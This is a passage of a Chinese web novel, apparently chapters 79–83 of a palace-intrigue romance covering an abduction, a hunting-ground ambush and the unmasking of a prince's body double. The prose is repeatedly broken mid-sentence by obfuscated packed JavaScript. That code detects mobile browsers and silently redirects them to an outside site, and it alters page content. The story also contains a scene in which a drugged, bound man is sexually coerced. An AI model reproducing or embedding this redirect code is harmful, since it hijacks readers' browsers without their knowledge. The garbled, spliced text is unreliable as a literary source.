“老子就喜欢大红色,喜庆。” 作为太子妃的贵客,江止也被一同安顿在了行宫里,只是住的院落离江箐珂偏远了些。 天色渐晚,行宫里摆起酒宴。 丝竹声声,舞姿翩翩。 众人举杯交盏,言笑晏晏。 一场夜宴好不热闹。 江止就坐在江箐珂的旁侧,手抬着酒盏,放在唇边小口小口地品着,视线却时不时地睨向对侧。 江箐珂顺着他的目光看去,发现江止一直在关注着永王李麟。 李麟是李玄尧的九皇叔。 早些年,被先帝赐了封地,打发到了南疆,让他做个自在王爷。 后南疆边境战乱,衡帝便任命永王为黔南、南岭、江陵三道节度使,兼任江陵郡大都督,配合南疆大将军,一起统兵御敌。 永王手中虽没有实际的兵权,可南疆大将军的独女却是他的嫡儿媳。 这沾亲带故的,四舍五入也算是掌控了南疆兵力。 而永王李麟的王妃又是当今惠贵妃的亲妹妹。 所以,若李玄尧若无西延江家军当靠山,在保住储君之位上,还真敌不过惠贵妃所生的皇子。 江箐珂低声问:“这永王可是有何不对,阿兄为何一直打量他?” 江止语重深长道:“何止是不对,简直是不轨。” “何意?” 江箐珂隐约察觉到江止的话中意。 “我去南边儿走镖,在各地的勾栏瓦肆、黑市赌坊里喝闲酒时,听到过一两句关于永王的事。” “说近两年来,永王与临壤的南越国,曾多次暗中交易铁器和粮米。” 听完江止所言,江箐珂眼底涌起一层波澜,她小声道:“这是要打造兵器,囤积军粮?” 江止颔首,将那杯中酒一口饮尽。 “有点那意思。” 他叹了口气,担忧道:“皇上年岁已大,身子又始终不见起色,多事之秋,大周怕是......要不太平了。” 适时,喜晴跪在桌侧,给江箐珂斟酒。 她小声嘀咕道:“太子妃,穆侧妃的那两个女婢......怎么一直在盯着咱们大公子瞧?” 小嘴撅着,喜晴很是不爽。 “都盯着瞧半天了,真是晦气得很。” 江箐珂抬眸,朝对侧的下位望去。 那边都是各个亲王侧妃和朝臣女眷们坐的位置。 穆汐总共有两个贴身女婢,听说自小便跟在她身边伺候,走哪儿带哪儿。 就连当初穆汐被发配到教坊司当官妓,两名女婢也是不离不弃,当真是忠心之人。 而这两个婢女一个叫花容,一个叫鹂莺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【一同行刺的不止我一人。】 【且是暗中潜伏偷袭,不会有危险。】 ...... 与此同时,江止回到住处。 陌生之处诸事不便。 他懒得点火烧炭,裹着那件黑熊皮大氅,扯来被子,躺下就睡。 人刚要眯着,叩门声突然响起。 “谁啊?” 江止哑声吼了一嗓子,语气不悦。 “是我,阿兄。” “太子殿下今夜宿在穆侧妃那儿,我换了个地方又睡不着,便想着来寻阿兄再喝几杯。” 一听是江箐珂的声音,江止睡眼惺忪地起身下床,迷迷糊糊地摸黑去开门。 第79章 消失的江止 房门打开的那刹那,还未等江止看清门前的人,大网便伴随着异香兜面而来。 香气灌入鼻腔,筋骨就像是化了似的,江止越挣扎越感到瘫软无力,连呼出的气息都是虚弱短促的。 明明是一张麻绳编织的网,却像是无数根交织的铁链压在身上,让他动弹不得。 然后,如同一个猎物,被人捆在往里,拖走,抬上马车。 深夜里,下起了雪。 雪势很大,如鹅毛似的,于天地间飞扬,慢慢遮掩了脚印、马蹄的痕迹,盖住了青砖瓦顶,也压断了树木枝杈。 凛冽的寒风一吹,卷起细密如尘的冰雪,与那簌簌而落的雪花交融,朦胧模糊了整个世界。 到了翌日巳正时分,大雪才堪堪停歇。 见时辰已不早,为了不影响去祭祖的吉时,李玄尧下令出发。 几百余人,提弓背箭。 一声一声的“驾”和鞭响此起彼伏,伴随着哒哒哒的马蹄声,回荡在山林之中,宛若万马奔腾,气势磅礴而雄壮。 待那群人远去,江箐珂收回视线,站在行宫前的那片冰湖上,等着喜晴去把江止寻来。 曹公公和谷丰两人则留在此地陪她。 男子去狩猎,剩下的女眷们要么坐在湖岸上煮茶闲聊,要么三五成群地聚在冰湖凿洞垂钓。 冰面上,到处叽叽喳喳、有说有笑,极有岁末时的喜庆和热闹。 等得无聊,江箐珂便拿起鱼竿在那里钓小公鱼, 冬季正是吃小公鱼的时候。 手指般粗细大小,裹上红薯粉和鸡蛋液,再放点盐巴和胡椒粉,一起放到油锅里炸,香酥无比。 是江止很喜欢的一道下酒菜。 “太子妃,大公子不在房间里。” 喜晴气喘吁吁地跑回来禀告:“想着大公子可能去喂马了,奴婢便去了马棚寻大公子,结果发现他的乌骓也不在棚里。” 江箐珂的神经倏然紧绷了起来。 “可问马棚的马倌,是否看到阿兄牵马去了何处?” 喜晴点头。 “问了,但是马倌说早上来喂马的人太多,没太注意,倒是有个小太监说看到一个红衣公子骑着黑马,背弓跨箭地朝林子里去了。” 话落,喜晴朝那个方向指了指。 正是进山狩猎的入口。 而那山林深处,还不知在酝酿着何等风波 江止一人进去狩猎实在危险。 可按常理,江止不是贸然行事,丢下她单独行动的人。 江箐珂怀疑有诈。 她转身依次下令吩咐。 “喜晴,去把那小太监叫来,本宫有话问他。” “谷丰,你带几个人,去行宫里再四下找一遍。说不定,我阿兄早起闲溜达,这功夫又在哪儿招猫逗狗,跟哪个宫女聊骚呢。” “曹公公,你去膳房那边问问,早上可有派人给我阿兄送过早食,若是有,大概是什么时辰,我阿兄那时可在屋内。” 三人分别领命而去。 喜晴最先将那小太监领来。 江箐珂换着法儿地问了几句,而小太监的话也寻不出一点逻辑漏洞。 没多久,曹公公也赶了回来。 “启禀太子妃,膳房那边辰时不到就给江大公子送了早食。” “据说,那个时候江大公子也是刚起,正在院子里活动筋骨,而送早食的嬷嬷将食盒放到屋里就走了,后来过了半个时辰再去取食盒,人就不在了,但早食确实是吃过的。” 这么一听,江箐珂倒觉得那小太监的话多了几分可信度。 等谷丰一无所获地回来后,江箐珂望向眼前的叠嶂山峦。 明眸善睐,秀眉紧拧。 她即使是忧心忡忡的样子,亦是有种清丽难言的美。 明明不像阿兄的作风,明明心怀种种怀疑,江箐珂还是决定入山去寻江止。 他一身红,在这银装素裹的山林间,最是显眼好找。 “谷丰,带上几个人,随我入林。” 江箐珂的话一出,曹公公便急声劝阻。 “去不得啊,太子妃。” “太子殿下今日再三交代过奴才,绝不许太子妃入林。” 无奈冰湖上面各府女眷都在,曹公公也不好把话说得太明,很怕被谁听了去。 他凑到江箐珂身旁,将声音压得极低。 “今日山里,铁定是消停不了。” “纵使太子妃有武艺傍身,也不能去冒这个险啊。” “江大公子本也是要来陪太子妃的,心里定是惦念着你,不如稍等一会儿,说不定江大公子就回来了呢。” 曹公公的话确实有几分道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另一边,经过连夜的颠簸,被五花大绑的江止被马车载回了京城。 熏香熏了他一路,此时此刻,江止亦是浑身无力。 奢华雅致的房间被地龙烘得温暖如春,屋内满是反季的栀子花花香。 而如蝉翼般轻薄的纱帘后,隐隐映着一道婀娜倩影。 几名侍卫退下,房门应声而关。 那女子赤着双足,穿过纱幔,拖着迤地的红纱长裙,踱步而出。 “江大公子真是难请,非得逼本公主用这种上不了台面的法子。” 第80章 就喜欢你这样的 江止躺在暖烘烘的地上,闭着眼无力地笑了笑。 再次掀开眼皮时,一侧眉头拱起,挑起几许风流轻佻之色。 他虚弱地轻喘道:“在下不是要跟镖吗,一走就是半月一个月的,不然哪能不赴公主殿下的约呢。” 地面一尘不染,李鸢甚是随性地侧卧在江止身旁。 她一手撑着头,一手轻抚江止的脸。 纤细如瓷的指尖依次划过江止的眉峰、鼻梁,最后落在两瓣唇上。 李鸢娇媚一笑,甚是宠溺地点了点江止的唇。 她语调娇柔婉转道:“不管怎样,今日,本公主要定你了。” 话落,李鸢像条妖娆妩媚的蛇妖一般,攀到江止的身上,像是品味猎物一般,不疾不徐地亲吻他的眉眼、鼻尖、薄唇。 江止也不反抗。 事实上,他也没法反抗。 双手被反绑在身后,双腿双脚也被麻绳缠绑了数圈。 再加上不知是什么香,熏得他四肢无力,根本没有反抗的余地,只能任由李鸢咋摆弄咋是。 温软碾着他的上下唇,是他初次体会到的触感。 软软柔柔的,还带着一点湿意。 他闭上眼,脑子里想的都是另一个人的脸,还有只有在梦里酣畅淋漓亲吻的唇。 也不知那人的红唇吻起来,是不是也是这样的触感。 可能因为心里多少有点膈应,李鸢的亲吻并不美妙,也没有那无数场春梦里的悸动和怦然。 就在那丁香小舌试图撬门而入时,江止用力咬了口李鸢的唇瓣。 李鸢吃痛,抬手就狠狠地呼了江止一巴掌。 “好大的胆子,敢咬本公主。” 江止偏头躺在那里,舌尖顶着被掌掴的腮颊,斜斜勾起唇角,笑得邪肆且不羁。 他转过头来看着李鸢,一脸轻浮地调侃。 “打得也不够劲儿啊。” “公主殿下就靠这点儿劲儿,还想上老子?” 李鸢俯身,报复性地在江止的喉结上咬了下。 江止吃痛,五官紧拧,沉沉地闷哼出声。 李鸢的手在他身上游移,笑问:“这下够劲儿吗?” 江止混不吝地问:“就这么想被老子操?” 李鸢懒声更正。 “错了,是本公主......操你。” 江止抿唇挑眉,无奈地挑起一抹痞笑。 “可惜啊,老子现在浑身无力,也石更不起来啊。” “这软塌塌的,公主殿下如何能玩得尽兴?” “不如,等在下体内的药性散了,再让公主殿下玩个舒坦?” 李鸢老练地摸了两下子。 确实。 扶不起来的几两肉。 “那就先让本公主验验身。” 话落,李鸢同屋内的婢女吩咐道:“把**拿来。” 锋利无比的刀刃在江止的脸侧来回比划着。 打了不知多少仗、挨过不知多少刀子的江止,自是连眼睛都不眨一下。 李鸢见状,满意笑道:“本公主就喜欢你这样的。” **在江止身上来来**地比划着,娇柔的声音不紧不慢,松弛而慵懒,是上位者惯有的调调。 “江大公子不同于那些文弱风雅的玉面公子,看起来坏坏的,一身铁骨铮铮,总有股子难以驾驭的劲儿。” “听话乖巧的玩腻了,本公主就想驯服你这种的野马,特别有成就感。” 薄而利的刀刃挑断绳子,又挑开江止的衣带。 衣衫、裤子如同粽子皮一样,被慢慢剥开,露出健硕结实的胸膛和紧致修长的双腿。 目光勾勒肌肉的曲线,李鸢满意地点头。 “不错,一看就知道江大公子很有劲儿。” 江止傲气道:“那是,也不看看老子是谁?” 他顶着一副混不吝的表情,语气突然随意亲近起来。 “我饿了,公主姐姐能不能赏口饭吃?” 一声“公主姐姐”叫得李鸢心花怒放,可她仍是有所犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008950|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江止便又宽慰了一句。 “都把在下请来了,公主姐姐的地盘儿,难不成还怕我跑了不成?” “弟弟我也是个荤素不忌的男人,这送到嘴边的肉,岂有不吃之理?” “最起码,给弟弟洗干净了,再喂几口饭吃,吃饱了,才有力气给公主殿下玩不是?” 李鸢弯唇,缓缓起身。 “量你也逃不出去。” “来人,备水,侍奉江大公子沐浴用膳。” 与此同时,江箐珂同喜晴、谷丰等人骑马进了山林之中,朝发现江止的方向寻去。 追了大半刻,几人才瞧见山林间有一抹红闪过,且伴着阵阵的马蹄声,和那一声声勒马的声音。 “阿兄。” 江箐珂扬声唤他。 江止闻声,转头看向她,并挥了挥手,可转身又被那不听话的乌骓给带走了。 双腿用力夹了下马腹,江箐珂骑着红枣追了几步,突然又勒紧缰绳,停了追赶。 她骑着红枣在那处雪地来回踏足, “太子妃怎么不追了?”喜晴急问。 江箐珂骑着红枣在那处雪地来回踏足,若有所思地望着江止离去的方向。 阿兄养的那匹乌骓平日里很听他的话。 就算刚刚被信号弹惊吓到,也不至于狂躁这么久还不听话。 乌骓难驯,却也最是认主。 难道骑那匹马的人不是阿兄? “喜晴,你刚刚看清我阿兄的脸了吗?” 喜晴摇头。 “那边林子太密,离得又远,奴婢没看太清,但觉得应该就是大公子。” 江箐珂越来越觉得事情诡异。 但不管那人是不是江止,他骑的那匹乌骓却是阿兄的。 正当江箐珂犹豫要不要继续追时,数道羽箭拉着蜂鸣声,齐刷刷地朝他们这一处射来。 “保……保……保护……” 谷丰连话都没磕巴完,人便骑着马先冲到了江箐珂身侧,拔剑挡箭。 第81章 会害了太子妃 谷丰带着几名侍卫誓死守护,江箐珂和喜晴也没闲着。 本就是西延出来的女子,都不是贪生怕死,处处要靠男子保护的人。 喜晴的软剑灵活弹打,江箐珂的刺龙鞭则在半空左右甩动,精准地将数支羽箭,打散在地。 却无奈羽箭一波接着一波,拉着劲风,来势凶猛。 抵挡不过,短短的时间里,已有数人中箭受伤。 江箐珂一声令下,带着谷丰、喜晴等人,策马扬鞭,俯身紧贴在马背上,顺着原路,飞驰逃离险地。 利箭如雨,在身后紧追。 或从头顶飞过,或与猎猎寒风从耳侧擦过。 喜晴的马被射中了腿。 一声嘶鸣,马翻人仰,将人摔落在地。 江箐珂勒马欲要回去捞救,骑马护在后面的谷丰却先她一步。 只见他双腿紧夹马肚,单手紧攥缰绳,大半个身子倾斜,在从喜晴身侧经过的那刹那,一把将喜晴捞上马背。 动作如行云流水,干净利落,果敢而敏捷。 而捞起喜晴的那只手臂,明明还插着两支羽箭。 东宫小磕巴也有他干脆的英雄时刻。 倏地,几名蒙面刺客从四面提剑冲出,惊起林中飞鸟无数。 嘎嘎嘎的,数只乌鸦扑闪着翅膀,从头顶飞过,似是谩骂,又似是嘲笑。 刀光剑影,这片山林间杀得异常激烈。 偏偏雪花纷纷扬扬,停了没多久的雪又下了起来。 一名刺客绕手持长剑,径直朝马背上的江箐珂刺来。 而谷丰等人则被其他刺客缠得脱不开身。 江箐珂偏身躲过杀气腾腾的剑锋,鞭子甩出,缠绕住刺客的脖颈。 用力紧收,利刺入喉,刺客一命呜呼。 但刺客却在倒地咽气前,将手中的利剑刺在了红枣的马屁股上。 红枣痛得仰蹄嘶鸣,带着江箐珂疯狂奔向山林深处。 不曾想踏到机关,一条麻绳倏然从雪地里弹起绷直,硬生生地将红枣绊倒。 江箐珂摔下了马背,在雪地里滚了几圈。 身侧杀气袭来,江箐珂迅速取下背上弯弓,用躬身抵住了刺客朝她砍下来的那一剑。 刺龙鞭甩手而出,再次精准无比地绕住另名刺客的脖颈。 夜颜那股子牛劲儿虽打不过,但区区两名刺客,江箐珂杀起来倒是易如反掌。 待四周归于沉寂,江箐珂转身环顾。 红枣早已跑得不见踪影。 江箐珂试着吹了几声口哨,试图唤回。 但吹了好半晌,也没听到个动静。 雪越下越大,江箐珂站在白茫茫的山林中,分不清东南西北。 江箐珂掏出怀里的信号弹,犹豫要不要用。 本来是两个的,但在入山前,她给了喜晴一个。 喜晴虽是个婢女,可也是个活生生的人,跟她多年,情同姐妹。 有危险时,自是不能保她江箐珂一人平安。 远方山林深处时不时传来马儿凄惨的嘶鸣,一群乌鸦则不停地在风雪中盘旋而飞,沙哑晦涩的叫声,听起来刺耳而阴森。 也不知夜颜在杀永王,还是永王的人在围杀李玄尧。 总之,山林遮挡的某一处,定是血染白雪。 思忖了片刻,江箐珂将唯一的信号弹塞回了怀中,决定留到关键时刻再用。 夜颜那边进展如何尚不得知,她不能分散他的注意力,坏了东宫的事。 江箐珂希望永王死,不仅仅因为她现在与李玄尧是一根绳上的蚂蚱,更主要的是因永王若是举兵谋反,大周疆土不宁,到最后遭殃受苦的只会是平民百姓。 西延江家世世代代守的是山河,可守的也是万千百姓的安宁日子。 捡起刺客身上的刀剑,江箐珂又从他们身上翻出一个火折子,然后顺着雪地上的血渍,朝来时的路,谨慎而去。 大片大片的雪花速速而落,砸在斗篷上,很快便积了一层薄薄的落白,同时也盖去了红枣一路滴溅的血渍,断了江箐珂寻找谷丰等人的路标。 风雪交织,茫茫天地间,如同下了雾一般,让人看不清远方。 但不管怎样,顺着坡下山就对了。 江箐珂喘着粗气,深一脚浅一脚地走在雪地中。 哈气缭绕,精致小巧的鼻尖和两颊被冻得微红。 寒霜和雪花挂在眉睫上,随着睫羽一下一下地扑扇着,泛着晶莹的光。 待行至某处,她看到地上有明显的血迹和身体匍匐爬行的痕迹。 痕迹明显,表明对方刚刚从此地经过没多久。 不知对方是敌是友,江箐珂本不想理会,却经过时不经意瞥见雪地里躺着一枚龙纹玉佩。 她识得那玉佩。 是李玄尧的。 就在此时,她隐隐听到有马蹄声从远处传来。 心中警铃大作,江箐珂立马捡起玉佩,顺着血迹一路寻去,同时用树杈扫雪,掩去了那些血迹和爬痕。 很快,她下到一个略微陡峭的斜坡处。 在一棵粗壮的树底下,寻到了半死不活的李玄尧。 他面色惨白,神情痛苦,似乎受了很重的伤。 起初还紧握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013068|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着**,摆出拼死一搏的架势。 可在看清来者时江箐珂的瞬间,李玄尧立马长舒一口气,卸下了所有戒备。 马蹄声临近,来不及说句话,江箐珂便迅速跑到李玄尧的身前。 她命李玄尧蜷缩侧卧,快速地将身上的斗篷解开,然后趴在他的身上,用大大的斗篷罩在两人的身上。 斗篷是月白色的,领口缝的也是白狐**。 在冰天雪地里,便是最好的保护色,恰好可以掩盖李玄尧的那身玄黑。 “可能雪下得太大,血迹在前方就断了。” 另有人沉声道:“太子受伤,绝对跑不远,都给我仔细了搜。” 江箐珂将斗篷掀起一点小缝儿,姿势别扭地窥探着斜坡上的那群人。 十几个人,各个凶相,看装扮就不是东宫的人。 而**箐珂压在身下的李玄尧,在听到说话人的声音时,亦是绷着身子,紧张得连口气都不敢喘。 都说大树底下好乘凉,其实大树底下也好藏。 一人半宽的树干,刚好遮掩两个相叠的身躯。 且有白色的斗篷遮掩,加上风雪极大,一群人冻得嘶嘶哈哈的,搜得便也没那么仔细。 东瞧一眼,西望一下,见没什么可疑之处,便继续向前方寻去。 待那群人走远后,两个人同时松了一口气。 适才情况危急未曾察觉,此时江箐珂才发现跟李玄尧贴得有点近,且姿势暧昧。 她一回头,险些跟李玄尧唇碰唇。 四目相撞,两人都愣在了那处。 白色斗篷笼罩出的微暗且狭窄的空间里,江箐珂梗了下脖子,从李玄尧的眼底读到了慌乱和......羞涩? 眉间突起几抹厌弃,她抬手便将李玄尧的脸扒拉向了另一侧,随即撑身坐起。 “要不要放信号弹?”江箐珂问。 李玄尧倒是缓了一瞬,再侧过头来时,眼底已经恢复先前的平静和从容。 他忍着伤痛,咬牙摇头。 “暂时不用。” “眼下山林里多处埋伏了惠贵妃和永王的人,比我们预想的人数要多,现下发信号弹只会引来刺客。” 伤口疼得人撕心裂肺,李玄尧龇牙咧嘴地撑身坐起,嘴唇都没了血色。 难捱间,他虚声又道:“我**倒无妨,只怕会害了太子妃。” 李玄尧无心脱口而出的一句话,却让江箐珂给他系斗篷的动作僵滞在了那里。 她怔怔然地看向他。 李玄尧后知后觉,面色苍白地扯唇改口道:“爱妃。” 第82章 怪怪的 一声“太子妃”,叫得江箐珂疑惑重重。 从来时的路上,她便觉得李玄尧怪怪的。 可眼前切切实实的这张脸,又让心中的一切猜测都很难立住脚。 碍于当下情形不是计较此事的时候,江箐珂收敛心神,不再纠结称呼之事。 李玄尧手臂、背部多处受了伤,但好在伤口都不深。 唯有两处伤得较重。 一处是左腿膝盖上中的箭伤,一处则是右腿小腿骨折。 雪大路滑,腿伤又重,李玄尧现在根本走不动。 可若一直留在此处,等东宫的人来寻,要么被冻死,要么等着永王的人搜到他们,直接就地解决他二人。 “你先走,莫要被本宫拖累了。” 李玄尧躺龇牙咧嘴地抱着骨折的那只腿,神色很是痛苦。 江箐珂没搭他这茬,而是问他:“殿下可知往哪个方向走,能下山回到行宫?” 李玄尧摇头。 “事已至此,本宫如今活不见人,死不见尸,永王岂会轻易放弃,定会派人封堵回行宫的这半面山。” “除非永王毙......” 李玄尧稍作停顿,继而又道:“你的夜颜,能带着东宫兵马杀到山下。” 不提夜颜还好,一听到这个名字,江箐珂的心里便七上八下的。 也不知永王到底在这里提前埋伏了多少人,夜颜的刺杀任务能否顺利。 若是夜颜死在了这山中...... 他的牌位上该写什么名字,该放在穆家的祠堂,还是李家的宗庙? 一无所知。 可不管怎样,她得先活下去。 活下去,才能出去找江止、找喜晴。 “那该往哪儿走?”江箐珂问。 毕竟这片山林是他们老李家的,李玄尧每年雪狩都来,定是比她熟悉地形。 李玄尧朝西北方向指去。 “朝那边,往后山去。” “出了山,走个几里地,就会有村庄。” “到时爱妃弄匹马,绕路赶回行宫便是。” “走个几里地?”江箐珂嗔笑道:“殿下说得可真轻松。” 李玄尧问:“你自幼习武,又于西延长大,几里地有何难?” “妾身自己走倒是不难,可是带着殿下,可就难多了。” 李玄尧目光诚恳道:“本宫不想牵累你。” 江箐珂眸眼半眯,歪头端详着李玄尧,片刻后,若有所思地摇了摇头。 她起身望天,并漫不经心道:“江家的军纪之一,兄弟同袍,不可弃于危难。” “兵将同袍尚且如此,更何况,你我是名义上的夫妻。” “殿下若是**,再让我陪葬,或将我送去尼姑庵,那我不如跟殿下死在今日。” 说到此处,江箐珂看向李玄尧,笑道:“再说,也不是白让殿下牵累的,今日我若救了殿下一命,殿下日后自然也要饶我一次不死。” 李玄尧笑而不语,只是用力点了下头。 江箐珂抬头又看了眼天色。 冬季日短夜长,加上是风雪天气,估摸再过两个时辰,天就要彻底黑下来了。 若是天黑前下不了山,再遇上几头出来觅食的野猪或鬣狗,可不比遇上永王的人好多少。 江箐珂茫然望向西北方。 风卷着碎雪乱飞,打在脸上都是凌冽刺骨的冷。 她叹了口气。 这恶劣的天气,单靠走,铁定是不行的。 转身,江箐珂从背上的箭筒里抽出几只羽箭,又捡了些树枝,想要固定李玄尧骨折的小腿。 只是还需要些绳子。 她觑了一李玄尧的衣服。 外袍得留着御寒,还是得撕里衣。 江箐珂伸手就要扒他的衣服。 李玄尧惊慌地捂着衣襟,诧异、羞耻又无措地看着江箐珂,像个要守贞洁的小媳妇。 “爱妃要干什么?” 江箐珂咬着后槽牙,忍着耐性道:“不撕你衣服,难道撕妾身的衣服给殿下绑腿儿?” “过来吧你。” 话落,她动作蛮横又粗暴地扯开了李玄尧的衣袍。 玄色的中衣扯开,白花花的胸膛便暴露在了冰天雪地之中。 江箐珂不感兴趣,瞧都没瞧一眼。 **一割,手一撕,李玄尧的里衣便**箐珂三下五除二地撕得稀巴烂。 撕扯动作间,江箐珂的手无意擦过他的胸膛。 轻轻的几下,且一晃即逝。 滑滑的,痒痒的,又冰冰凉凉的,让人想忽视都无法忽视。 喉结轻滚,李玄尧躺在雪地里面红耳赤,不得已偏头看向远处,任由江箐珂手在他胸前鼓弄。 江箐珂自小跟江止在军营长大,将士们打仗杀敌或者平日里练兵,受伤都是在所难免。 军中大夫如何给将士们疗伤,她在旁看得多,自然也就会了。 羽箭和树枝围着李玄尧的小腿,布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刀刻般的面部轮廓,边缘似有什么东西微微翘起,有点像宫墙斑驳已久的墙皮,有的地方薄薄的,有的地方略厚些。 她贴近细细瞧了几眼,好奇又手欠地伸手撕下一块来。 谁知这一撕,竟撕下一块皮来。 吓得江箐珂手微微一抖。 好家伙。 李玄尧是个会蜕皮的蛇太子? 江箐珂不冷也不累了。 冻红的小手一片接一片地往下撕,慢慢撕出了那层假皮下的真容。 第83章 影子 衣袖拂去不断落在脸上的雪,江箐珂大口吐着哈气,难以置信地看着眼前的人。 小太监八哥儿? 怎么会是他? 她低头看向手中那几块被冻得发硬的假皮,感到一切都是那么的匪夷所思。 军机阁细作署里那被传得神乎其神的易容术,她在西延虽有所听闻,今日却是初次见识。 而昔日的一些疑惑,也都在此刻有了答案。 难怪每每见到八哥儿,都会有李玄尧的既视感。 现在细细想来,八哥儿的脸型确是跟李玄尧很贴近。 而他的骨相,虽不是百分百像李玄尧,却已有近六分的相似。 加上易容的加持,简直可以以假乱真。 且八哥儿的言谈举止,以及那由内向外散发的矜贵清冷之气,想来定是经过长时间的训练、观察和模仿,才在众人面前展现得毫无破绽。 江箐珂陷在震惊之中,久久回不过神来。 她忽然感到一切都虚假得可怕。 甚至分不清,之前见到的李玄尧,哪一次是真的李玄尧,哪一次又是这八哥儿。 而同床共枕的那次,江箐珂现在严重怀疑,那晚睡在她身边的不是李玄尧,而是这个八哥儿。 找个太监与她同床,只为打消她的怀疑,骗她跟夜颜生孩子? 李玄尧还真是有才。 江箐珂气得失笑。 适时,八哥儿缓缓醒来。 揭下假皮的脸因高烧使然,微微泛红。 无力的双眼瞥见江箐珂手中的那几块假皮,对于自己身份的暴露,他也只能认命。 “也好。” 他强撑着笑意,气息微弱道:“太子妃,快走吧,奴才这条贱命不值得救。” “找抽是不是?” “当我愿意救你啊。” 江箐珂泄愤似地将手中的那几块厚度不均的假皮,朝八哥儿脸上撇去,然后气囊囊地起身。 “费劲巴力地拖了你这么远......” 她手拽着鞭子,拉着八哥儿继续前行,嘴里没好气地嘟嘟囔囔。 “早不说,晚不说。” “现在说了,让我把你丢在这里,那我前面的力气不是都白用了?” “你们这些京城里的鸡贼们,天天就知道把人当傻子骗。” ...... 江箐珂碎碎念地抱怨了大半晌,八哥儿虚弱地笑回。 “太子妃这又是何必呢?” “我们这些微不足道的人,本就是为殿下而生、为殿下而死的影子罢了。” “劝太子妃及时止损,免得被奴才连累,再冻死在这风雪之中,那奴才的罪过可就大了。” 高过脚腕的雪地,每踩一脚下去,都发出嘎吱嘎吱的脆响,听起来倒让人很心安。 江箐珂担心八哥儿睡着就再也醒不过来,一边拖着他,一边同他闲聊着。 “影子?” 她品味了下八哥儿适才说的话,问:“什么影子?” “这些事,其实殿下以后都会告诉太子妃的。” “只是碰巧今日被太子妃撞破。” 眼皮沉得睁不开,八哥儿却强打着精神回道:“我们这些人,大部分时候都隐在主人身后,只是偶尔会出现在众人眼前,成为“主人”,替主人消灾挡祸,就如同影子一般的存在。” “除了你,可还有别人?”江箐珂又问。 “除了我,本还有三名,但都在宫里的那些明争暗斗之中,为殿下而死。” 明明是不起眼的一句话,却听得江箐珂心头一颤。 趟雪的步子停下,她难掩同情之色,回身看向爬犁上的八哥儿。 倏然想起仲秋宴那晚,月夜宫道上,那个看起来有些忧伤且孤寂的身影。 那晚,月光也在八哥儿的脚下映出长长的影子,跟着他朝深宫而去。 然而可悲的是,有影子的人,竟成了别人的影子。 作为影子,为他人生,为他人死,履行着他们身为“影子”的使命。 听起来,总有种身不由己且悲凄至极的宿命感。 江箐珂一时语塞,不知该说什么好。 皇亲贵胄,偶有养替身的。 但这些她之前只在话本子上看过,从说书先生的嘴里听过。 本以为是些不着边际的传闻罢了,没想过有一天也会发生在自己的身边。 “你当影子有多久了?” 江箐珂继续拉着爬犁。 “很多年了,从很小的时候起,我们便跟着殿下,同吃同住,一起读书习武。” 八哥儿答得有气无力,好像随时会睡着。 江箐珂紧声又问:“是文德皇后暗中培养你们的?” 八哥儿闭着眼,声音略有些含糊。 “不是。” “是先生。” “哪位先生?”江箐珂问。 八哥儿未答。 江箐珂语气不屑道:“视他人生命为草芥,将人培养成所谓的影子,为他人所用之人,怎配得起先生二字?” 然而,在八哥儿的心中,那被称为“先生”的人显然是不容亵渎的。 连带着他说话的气力也强了几分。 “先生是好人,于我们有再造之恩。” “若没有先生,我们这些影子,也早已成为饿死或冻死在街头的殍孚。” “先生给予我们衣食,授我们以诗书,我们为先生所用,理所当然,也心甘情愿。” 他身子瑟瑟发抖,冷得牙齿上下直打架,连带着说出的话都带着颤音。 未经他人苦,未受那人恩,江箐珂作为局外人,虽无法认同,却也不再想对八哥儿的恩人评判什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022006|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>适时,远处山林里又发起一枚信号弹,刺耳尖锐的声响在山林间回荡了好半晌。 江箐珂驻足,循着光望向那一处,又开始为夜颜的安危牵肠挂肚。 